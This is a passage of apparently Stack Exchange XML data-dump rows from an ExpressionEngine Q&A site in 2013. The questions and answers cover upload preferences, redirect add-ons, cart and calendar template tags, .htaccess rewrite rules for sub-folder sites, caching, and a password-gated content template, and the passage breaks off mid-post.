  <row Id="17751" PostTypeId="2" ParentId="17750" CreationDate="2013-12-16T18:05:02.747" Score="6" Body="&lt;p&gt;It might be possible that in your config file that the upload preferences are being set via the config override. You will want to look for something along the lines of:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['upload_preferences'] = array(&#xA;    1 =&amp;gt; array(                                                            // ID of upload destination&#xA;        'name'        =&amp;gt; 'Staging Image Uploads',                          // Display name in control panel&#xA;        'server_path' =&amp;gt; '/home/user/example.com/staging/images/uploads/', // Server path to upload directory&#xA;        'url'         =&amp;gt; 'http://staging.example.com/images/uploads/'      // URL of upload directory&#xA;    )&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can find the full &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/general/hidden_configuration_variables.html#upload-preferences&quot;&gt;documentation&lt;/a&gt; here&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2013-12-16T18:05:02.747" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17753" PostTypeId="1" AcceptedAnswerId="17757" CreationDate="2013-12-16T19:12:56.490" Score="2" ViewCount="124" Body="&lt;p&gt;Is there a way, WITHOUT PHP, to test if a segment begins with a value?&lt;br&gt;&#xA;We send emails with shortened URLs and want to be able to parse the segments accordingly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i.e.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://www.oursite.com/20140709XXXYY&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;would need to redirect to &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://www.oursite.com/event/20140709XXXYY&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or, is there a way to do this in .htaccess?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yes, they will always be the similar to the one above, plus, we may also have some like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://www.oursite.com/agenda/20140709XXXYY&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which would need to redirect to &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://www.oursite.com/Chuy/DownloadFile2.aspx?File=Q:\\AGENDAS\\20140709XXXYY.pdf&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1725" LastEditorUserId="1725" LastEditDate="2013-12-16T20:11:48.150" LastActivityDate="2013-12-16T21:40:11.827" Title="segment begins with?" Tags="|url|segments|parsing|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17754" PostTypeId="2" ParentId="17710" CreationDate="2013-12-16T19:27:49.503" Score="1" Body="&lt;p&gt;So the config file for this site had:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db['expressionengine']['swap_pre'] = &quot;pfra_&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;when it should in fact have been &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db['expressionengine']['swap_pre'] = &quot;exp_&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;even although the db tables are all set with a prefix of pfra_ &lt;/p&gt;&#xA;" OwnerUserId="146" LastActivityDate="2013-12-16T19:27:49.503" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17755" PostTypeId="1" CreationDate="2013-12-16T19:45:03.613" Score="1" ViewCount="640" Body="&lt;p&gt;I have this shopping cart with a drop down menu with a list of products (titles are zip codes). When a user selects one, my JQuery replaces all subtotals with &quot;Loading...&quot; and then submits the &lt;code&gt;update_cart_form&lt;/code&gt;. This is all well and good.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Problem: Upon submission, I want to add a line in JQuery to add the product selected in the drop-down to the cart. Since the form is being submitted, I don't think I need an AJAX call, but I could be wrong? I basically want to just add the item to the cart on submission and when the page reloads it will be showing the new addition.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would also need to have a similar line to remove any products that are currently in the cart that are assigned to the EE &lt;code&gt;category=&quot;delivery_rates&lt;/code&gt;.&quot;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Note: One may ask why I am handling delivery rates in the&#xA;  &lt;code&gt;update_cart_form&lt;/code&gt; rather than the &lt;code&gt;checkout_form&lt;/code&gt;. This is because&#xA;  there is a minimum price that a customer needs to have in their cart&#xA;  prior to having delivery options available to them. Additionally,&#xA;  there are only a handful of zip codes where my client will be&#xA;  delivering and it's important to establish this immediately to prevent&#xA;  delivery errors.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I have tried the options listed here: &lt;a href=&quot;http://cartthrob.com/docs/tags_detail/add_to_cart/index.html&quot; rel=&quot;nofollow&quot;&gt;http://cartthrob.com/docs/tags_detail/add_to_cart/index.html&lt;/a&gt;, but to no avail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Link to cart: &lt;a href=&quot;http://dandelionflowershop.com/index.php/website/cart&quot; rel=&quot;nofollow&quot;&gt;http://dandelionflowershop.com/index.php/website/cart&lt;/a&gt;. Note: You will need to add at least $40 to the cart to view the delivery options that I'm working on here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the JQuery code that I have going on right now. Everything works here. I just would like to know what I should be looking to alter for this functionality:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; $(&quot;#zip&quot;).change(function() {&#xA;            $(&quot;#total&quot;).toggleClass(&quot;gray&quot;).html(&quot;Loading...&quot;).show().fadeOut( 1000 );&#xA;            $(&quot;.line_subtotal&quot;).toggleClass(&quot;gray&quot;).html(&quot;Loading...&quot;).show().fadeOut( 1000 );&#xA;/* Add function: Remove all products from cart with category=&quot;delivery_rates&quot; */&#xA;/* Add function: Add product (if possible by {title=&quot;{custom_data:zipcode&quot;}, not {entry_id}) */&#xA;            $('#cartform').submit();&#xA;        });&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I hope I'm at least going down the right path here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you guys and gals!&lt;/p&gt;&#xA;" OwnerUserId="2398" LastActivityDate="2013-12-16T19:45:03.613" Title="Cartthrob: Add item to cart with JQuery &amp; no page refresh, no ajax?" Tags="|ee2|cartthrob|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17756" PostTypeId="2" ParentId="17727" CreationDate="2013-12-16T19:55:45.400" Score="1" Body="&lt;p&gt;EE won't do that out of the box (that I know of). You're looking for a 'chained select' option, I think - where the first select determines the options available of the second select. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Depending on what your needs are, try one of these jquery: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Chained Select: &lt;a href=&quot;http://www.appelsiini.net/projects/chained&quot; rel=&quot;nofollow&quot;&gt;http://www.appelsiini.net/projects/chained&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;Chosen: &lt;a href=&quot;http://harvesthq.github.io/chosen/&quot; rel=&quot;nofollow&quot;&gt;http://harvesthq.github.io/chosen/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1717" LastActivityDate="2013-12-16T19:55:45.400" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17757" PostTypeId="2" ParentId="17753" CreationDate="2013-12-16T19:56:26.653" Score="1" Body="&lt;p&gt;It sounds like you are looking for a way to manage redirects using ExpressionEngine. You could do it with htaccess, yes, but it's really convenient to do it with EE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take a look at &lt;a href=&quot;http://devot-ee.com/add-ons/detour-pro&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Detour Pro.&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since you have some redirects that are repetitive in nature, it's possible you could make use of Detour Pro's &quot;Wildcard Redirect&quot; or &quot;Wildcard Redirect with Segment Replacement&quot; feature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that's not quite right, or if you want an alternate see Anna's suggestion of &lt;a href=&quot;http://devot-ee.com/add-ons/router&quot; rel=&quot;nofollow&quot;&gt;Router&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Router will automatically include the correct template for you, based&#xA;  on which of your regex patterns match the current URL.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="22" LastEditorUserId="22" LastEditDate="2013-12-16T21:40:11.827" LastActivityDate="2013-12-16T21:40:11.827" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17758" PostTypeId="2" ParentId="17753" CreationDate="2013-12-16T20:06:55.173" Score="1" Body="&lt;p&gt;Two additional &quot;routing&quot; addons: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Template Routes&lt;/strong&gt;&lt;br&gt;&#xA;&lt;a href=&quot;http://devot-ee.com/add-ons/template-routes&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/template-routes&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Router&lt;/strong&gt;&lt;br&gt;&#xA;&lt;a href=&quot;http://devot-ee.com/add-ons/router&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/router&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-12-16T20:06:55.173" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17759" PostTypeId="1" CreationDate="2013-12-16T21:02:28.403" Score="4" ViewCount="140" Body="&lt;p&gt;I'm trying to clear ce_cache of a category given a specific entry's set of categories. This doesn't seem to work and I think it's because the &lt;code&gt;{categories}&lt;/code&gt; tag pair isn't quite a full implementation of the &lt;code&gt;parse_variables()&lt;/code&gt; function. Any thoughts on how to accomplish the following?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;channel&quot; &#xA;    sort=&quot;desc&quot; &#xA;    orderby=&quot;entry_date&quot;&#xA;    dynamic=&quot;no&quot;&#xA;    limit=&quot;1&quot;&#xA;    offset=&quot;1&quot;&#xA;    disable=&quot;category_fields|custom_fields|member_data&quot;}&#xA;&#xA;    {categories}&#xA;    {exp:ce_cache:clear items=&quot;local/category/{category_url_title}&quot; refresh=&quot;1&quot;}&#xA;    {/categories}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="565" LastActivityDate="2013-12-17T15:26:07.377" Title="{categories} tag pair not parsing contents" Tags="|channel-entries|categories|cache|ce-cache|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17760" PostTypeId="2" ParentId="17735" CreationDate="2013-12-16T21:02:50.920" Score="3" Body="&lt;p&gt;Looks like you have working code to generate XML for multiple orders, and generating XML for a single order is easy by just including the &lt;code&gt;order_hash&lt;/code&gt; or &lt;code&gt;order_id&lt;/code&gt; parameter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only problem then is how to move these files into an FTP directory for your CRM. To do this you could either set up a nightly script to check for new orders and save their XML to a particular folder, or as Derek mentioned in the comments, you could use the &lt;code&gt;store_order_complete_end&lt;/code&gt; hook to do this immediately after the order is saved.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-12-16T21:02:50.920" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17761" PostTypeId="2" ParentId="17727" CreationDate="2013-12-16T21:05:24.757" Score="0" Body="&lt;p&gt;It's not possible out of the box with Store. As long as your chained select options don't require price modifiers, you could do this using a jQuery chained select plugin as mentioned above, combined with &quot;custom text modifiers&quot;, which allow you to submit arbitrary text fields along with the order:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://exp-resso.com/docs/product_tag.html#inputcustom_modifier_name&quot; rel=&quot;nofollow&quot;&gt;https://exp-resso.com/docs/product_tag.html#inputcustom_modifier_name&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could also simply add all the possible modifier options in the publish page, and then use one of the jQuery select plugins to only display the correct modifiers to uses on the front end. How complicated this will be depends on how many products you have like this which need to be set up.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-12-16T21:05:24.757" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17762" PostTypeId="2" ParentId="17522" CreationDate="2013-12-16T21:16:04.557" Score="1" Body="&lt;p&gt;Except for event date/time data, Calendar channels, both &quot;Calendar: Calendars&quot; and &quot;Calendar: Events&quot;, remain mostly channel entries. This means that you can use &lt;code&gt;{exp:channel:entries}&lt;/code&gt; to get your parent entries like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;calendar_events&quot; /* your other parameters */}&#xA;    {parents field=&quot;event&quot;} {!-- &amp;lt;== Your &quot;Articles&quot; relationship field --}&#xA;            {parents:title} - {parents:field1} - {parents:field2}&#xA;    {/parents}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, when using &lt;code&gt;{exp:channel:entries}&lt;/code&gt; you won't be able to retrieve data such as &lt;code&gt;{event_start_date}&lt;/code&gt; or &lt;code&gt;{event_end_date}&lt;/code&gt;. Since &lt;code&gt;{exp:calendar:events}&lt;/code&gt; shares the Channel:Entries library, &lt;code&gt;{exp:calendar:events}&lt;/code&gt; might work instead to get you both your parent data, while still having access to Calendar date/time event data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In some cases &lt;code&gt;{exp:calendar:cal}&lt;/code&gt; needs to be used to display events chronologically. In this case the Channel:Entries library isn't being called so standard EE relationship tags won't work. In this case you might need to pass &lt;code&gt;{event_id}&lt;/code&gt; values in an embed containing {exp:channel:entries} as in the above example, i.e.:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:calendar:cal /* your parameters */}&#xA;    // Whatever event data you need to display&#xA;    {embed=&quot;calendar/parent_entries&quot; child_entry_id=&quot;{event_id}&quot;}&#xA;{/exp:calendar:cal}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, in your &quot;calendar/parent_entries&quot; embed, use {exp:channel:entries} similar to above:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;calendar_events&quot; entry_id=&quot;{embed:child_entry_id}&quot; dynamic=&quot;no&quot; /* your other parameters */}&#xA;    {parents field=&quot;event&quot;} {!-- &amp;lt;== Your &quot;Articles&quot; relationship field --}&#xA;            {parents:title} - {parents:field1} - {parents:field2}&#xA;    {/parents}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="884" LastActivityDate="2013-12-16T21:16:04.557" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17763" PostTypeId="1" CreationDate="2013-12-16T21:45:29.517" Score="2" ViewCount="245" Body="&lt;p&gt;We have setup Multisite Manager but we are not using sub-domains, we want them in sub-folders. The EE instructions do not reference this setup, only domains and sub-domains. Its not working for us, accessing a page on the site causes the default site 404 to kick in. We are using the Pages module, so segment_1 would refer to the site_url. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;We have configured all the necessary settings in the instructions. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;We have also added into Site 2's .htaccess file&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteBase /subfolder/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note: Site 2's home page works fine. Its just pages. Template Groups are not called either (for example /news) so I don't think its a Pages issue. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Further, it seems Pages, being a module, is not copied when duplicating a site. Pages is empty, no templates are assigned. Although an old post, it is referenced here:&#xA;&lt;a href=&quot;http://ellislab.com/forums/viewthread/177005/#839555&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/forums/viewthread/177005/#839555&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looks like I have to manually set it all up again, and edit each page. I did this but it still does not work. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do not have a Template Group named as my sub-folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone know any extra configuration steps for sub folders? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="381" LastEditorUserId="381" LastEditDate="2013-12-16T21:57:00.090" LastActivityDate="2013-12-16T22:07:53.033" Title="Multi Site Manager gives 404 when using Sub Folder" Tags="|multi-site-manager|404|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17764" PostTypeId="2" ParentId="17763" CreationDate="2013-12-16T22:07:53.033" Score="2" Body="&lt;p&gt;Ha ha, found it!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Removing index.php code in the .htaccess file also needed updating. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Original RewriteRule to remove index.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteRule ^(.*)$ /index.php?/$1 [L]  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;New RewriteRule needs the sub-folder added to the RewriteRule:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteRule ^(.*)$ /subfolder/index.php?/$1 [L]  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;: the question mark after index.php depends on a server setting, so dont copy and paste, but check first what yours is.&lt;/p&gt;&#xA;" OwnerUserId="381" LastActivityDate="2013-12-16T22:07:53.033" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17765" PostTypeId="1" CreationDate="2013-12-16T22:24:08.627" Score="1" ViewCount="113" Body="&lt;p&gt;We had a client whose site auto-updated to EE2 which caused it to break. One problem we're having difficulty fixing is getting images to show. Issue is not at the template level. The problem is on an entry/post level. An example is the main image on the site and in order to make it show, we had to update the field holding the filename value. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Used to be multiple filenames stored together to keep different file sizes: 3REIDenverSkylineMasthead.jpg &#xA;3REIDenverSkylineMasthead_Thumb.jpg&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now to show masthead image we had to remove thumbnail image reference and update this field to: {filedir2}3REIDenverSkyline_Masthead.jpg&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We’re not sure how this was done before but by uploading an image in EE1, a thumbnail was generated for it automatically in EE1.  Both images were displayed when looking at the entry/post in the UI. This doesn't seem to be the case in EE2 and even when we synched our upload destinations we continued to have the problem. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So our question is how can we get the images working in EE2 the way they were before on EE1. We don’t know how to get the filenames stored together to keep the different file sizes (main image, thumbnail etc.) like it was done before. We want to avoid trying to retrofit and make sure we’re making the images work the way they are designed to in EE2&lt;/p&gt;&#xA;" OwnerUserId="2507" LastActivityDate="2014-01-19T07:16:55.857" Title="Thumbnails missing and not automatically generating (like they did in EE1) when we updated to EE2" Tags="|channel-entries|ee2-upgrades|channel-images|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17766" PostTypeId="1" CreationDate="2013-12-16T22:28:40.527" Score="2" ViewCount="38" Body="&lt;p&gt;I've had no luck installing the Calendar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After uploading the calendar folder to  /system/expressionengine/third_party/  and to ./themes/third_party/  - the calendar doesn't appear on the modules page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm running EE v2.7.2 - Build Date: 20131008&lt;/p&gt;&#xA;" OwnerUserId="2506" LastActivityDate="2013-12-17T12:34:16.713" Title="Calendar doesn't show up in add-on modules" Tags="|solspace|solspace-calendar|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17767" PostTypeId="1" AcceptedAnswerId="17769" CreationDate="2013-12-16T22:29:27.327" Score="1" ViewCount="205" Body="&lt;p&gt;I am using ExpressionEngine for an e-commerce site and it is using the HTTPS protocol site-wide. HTTPS is failing on my homepage because the images are being delivered(using &lt;code&gt;{image}&lt;/code&gt;) from the HTTP protocol. I am wondering how I can tell ExpressionEngine to deliver these images via HTTPS instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help greatly apprecaited!&lt;/p&gt;&#xA;" OwnerUserId="2257" LastActivityDate="2013-12-16T22:32:53.697" Title="Delivering images via HTTPS protocol using {image}?" Tags="|channel-images|secure|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17768" PostTypeId="1" AcceptedAnswerId="17815" CreationDate="2013-12-16T22:32:30.883" Score="2" ViewCount="333" Body="&lt;p&gt;I'm trying to display some user entered data on the success/thank you page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From &lt;a href=&quot;http://www.solspace.com/forums/viewthread/10692/&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/forums/viewthread/10692/&lt;/a&gt; I've got return=&quot;rsvp/success/%%entry_id%%&quot; and when I submit the form I end up rsvp/success/49, rsvp/success/50, rsvp/success/51, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On rsvp/success I have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freeform:entries entry_id=&quot;{segment_3}&quot;}&#xA;{if freeform:no_results}&amp;lt;h4&amp;gt;Sorry, no results were found.&amp;lt;/h4&amp;gt;{/if}&#xA;&amp;lt;h4&amp;gt;{freeform:field:concert_date} / {freeform:field:concert_tickets} Guests&amp;lt;/h4&amp;gt;&#xA;{/exp:freeform:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I always get no results were found. I've tried adding dynamic=&quot;no&quot;. I've tried hard coding the entry_id. I've even tried search:FIELD_NAME and looking for something else in the entry. Always no results were found.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In a different area of the site, I've had use form_id and entry_id together to get a single entry. Does it always need both?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE 2.7.2, Freeform Pro 4.1.3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&#xA;Amanda&lt;/p&gt;&#xA;" OwnerUserId="1761" LastActivityDate="2013-12-18T17:31:30.593" Title="Freeform field data on success page" Tags="|solspace-freeform|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17769" PostTypeId="2" ParentId="17767" CreationDate="2013-12-16T22:32:53.697" Score="4" Body="&lt;p&gt;Try using relative paths in your upload preferences.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2013-12-16T22:32:53.697" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17770" PostTypeId="1" CreationDate="2013-12-16T22:55:27.587" Score="2" ViewCount="107" Body="&lt;p&gt;I'm having major performance issues and I'm trying to nail down the culprit. I'm on EE 2.7.1 with a number of add ons (All of P+T's, Structure, ect.) However, I'm getting pages loads in excess of 5 seconds or even more. While I was combing through the Debugging I noticed that while Template Parsing would say one number, the Total Execution Time would give another number, sometimes twice as long as the Template Parsing time. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is one example&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(2.658272 / 43.45MB) Template Parsing Finished&#xA;Total Execution Time    5.4786&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I must be misunderstanding something, but I would have thought those two to be very similar instead of so far apart. Suggestions?&lt;/p&gt;&#xA;" OwnerUserId="137" LastActivityDate="2013-12-17T21:56:14.433" Title="Difference between Template Parsing Finished and Total Execution Time in Debugging" Tags="|performance|debugging|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17771" PostTypeId="1" AcceptedAnswerId="17776" CreationDate="2013-12-16T23:57:48.803" Score="2" ViewCount="94" Body="&lt;p&gt;Any future-dated entries are not displaying for me once the entry date is current. The exception is if I touch any entry in the channel (which is nice that it busts the cache, but it rather defeats the purpose of future dating). I have global caching enabled, but not on the template itself. Caching provides a nice speed improvement, so I'm hoping the answer isn't to disable it entirely.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;mychannel&quot; show_future_entries=&quot;no&quot; limit=&quot;1&quot; orderby=&quot;entry_date&quot; sort=&quot;desc&quot; disable=&quot;categories|member_data&quot;}&#xA;    Most recent: {title} - {entry_date format=&quot;%D, %F %d, %Y - %g:%i:%s&quot;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2508" LastActivityDate="2013-12-17T10:58:03.277" Title="Future dating entries not displaying when current" Tags="|entry|future-entries|cache-breaking|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17772" PostTypeId="1" AcceptedAnswerId="17863" CreationDate="2013-12-17T00:22:09.777" Score="1" ViewCount="442" Body="&lt;p&gt;I'm a novice in ExpressionEngine, but with plenty of background in PHP. Still, I'm struggling with the EE parsing order.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my situation and I would be very, very thankful if anyone can give me some/any guidelines how to approach it or what I'm doing wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm having a page that renders some content and there is a link to reveal more. The trick is that revealing that more content is password gated, but with no membership complexity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've got a static password (yeah, I know) that is saved as a snippet.&#xA;When the user clicks to reveal more content a dialog is shown, asking for the password and then the form posts to the same page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the page loads it checks to see if a session variable is set and if not, sets it, then re-directs to itself (to clean up the posted values).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The page re-loads and checks for the session variable. If it is set it displays the more content, otherwise displays the link to ask for password.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the snippet. I've renamed the variables, so they make more sense.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:switchee variable=&quot;{exp:session_variables:get name='session_variable'}&quot; parse=&quot;inward&quot;}&#xA;  {case value=&quot;&quot;}&#xA;    {if '{post:posted_variable}' != '' AND '{post:posted_variable}' == '{snippet_variable}'}&#xA;      {exp:session_variables:set name='session_variable' value='1'}&#xA;    {/if}&#xA;    {exp:redirectee:redirect status='302' url='{current_url}'}&#xA;  {/case}&#xA;{/exp:switchee}&#xA;&#xA;... Content ...&#xA;&#xA;{if '{exp:session_variables:get name='session_variable'}' == '1'}&#xA;  &amp;lt;p&amp;gt;... MORE CONTENT OF SOME KIND ... an embed/snippet even&amp;lt;/p&amp;gt;&#xA;{if:else}&#xA;  &amp;lt;a href=&quot;#password-modal&quot;&amp;gt;Click here to view More Content&amp;lt;/a&amp;gt;&#xA;  &amp;lt;div id=&quot;password-modal&quot;&amp;gt;&#xA;    &amp;lt;form action=&quot;{current_url}&quot; method=&quot;post&quot;&amp;gt;&amp;lt;input name=&quot;posted_variable&quot; type=&quot;password&quot; /&amp;gt;&amp;lt;input type=&quot;submit&quot; value=&quot;Go&quot; /&amp;gt;&amp;lt;/form&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;{/if}&#xA;&#xA;... JS to handle the modal ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My understanding is that EETemplate parses first the &lt;code&gt;{exp}&lt;/code&gt; tags, then the advanced &lt;code&gt;{if}&lt;/code&gt;, which made me use switchee with the &lt;code&gt;parse=&quot;inward&quot;&lt;/code&gt; attribute. I used to have it in an &lt;code&gt;{if}&lt;/code&gt; conditional. Still the switchee case is not firing, and the previous setup always fired the session set and redirects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Third party stuff:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Redictee - &lt;a href=&quot;http://reinos.nl/add-ons/redirectee&quot; rel=&quot;nofollow&quot;&gt;http://reinos.nl/add-ons/redirectee&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Session Variables - &lt;a href=&quot;http://putyourlightson.net/session-variables-plugin&quot; rel=&quot;nofollow&quot;&gt;http://putyourlightson.net/session-variables-plugin&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Switchee - hallmark-design.co.uk/code/switchee/&lt;/li&gt;&#xA;&lt;li&gt;Mo Variables - github.com/rsanchez/mo_variables&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition to the above. I've tried extracting the top code to separate page, and the form action sends the user there, which should redirect back. It's all using switchee, which looks very complicated for such a simple thing! It still doesn't work.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:switchee variable=&quot;{exp:session_variables:get name='session_variable'}&quot; parse=&quot;inward&quot;}&#xA;  {case value=&quot;1&quot;}&#xA;    {exp:redirectee:redirect status='302' 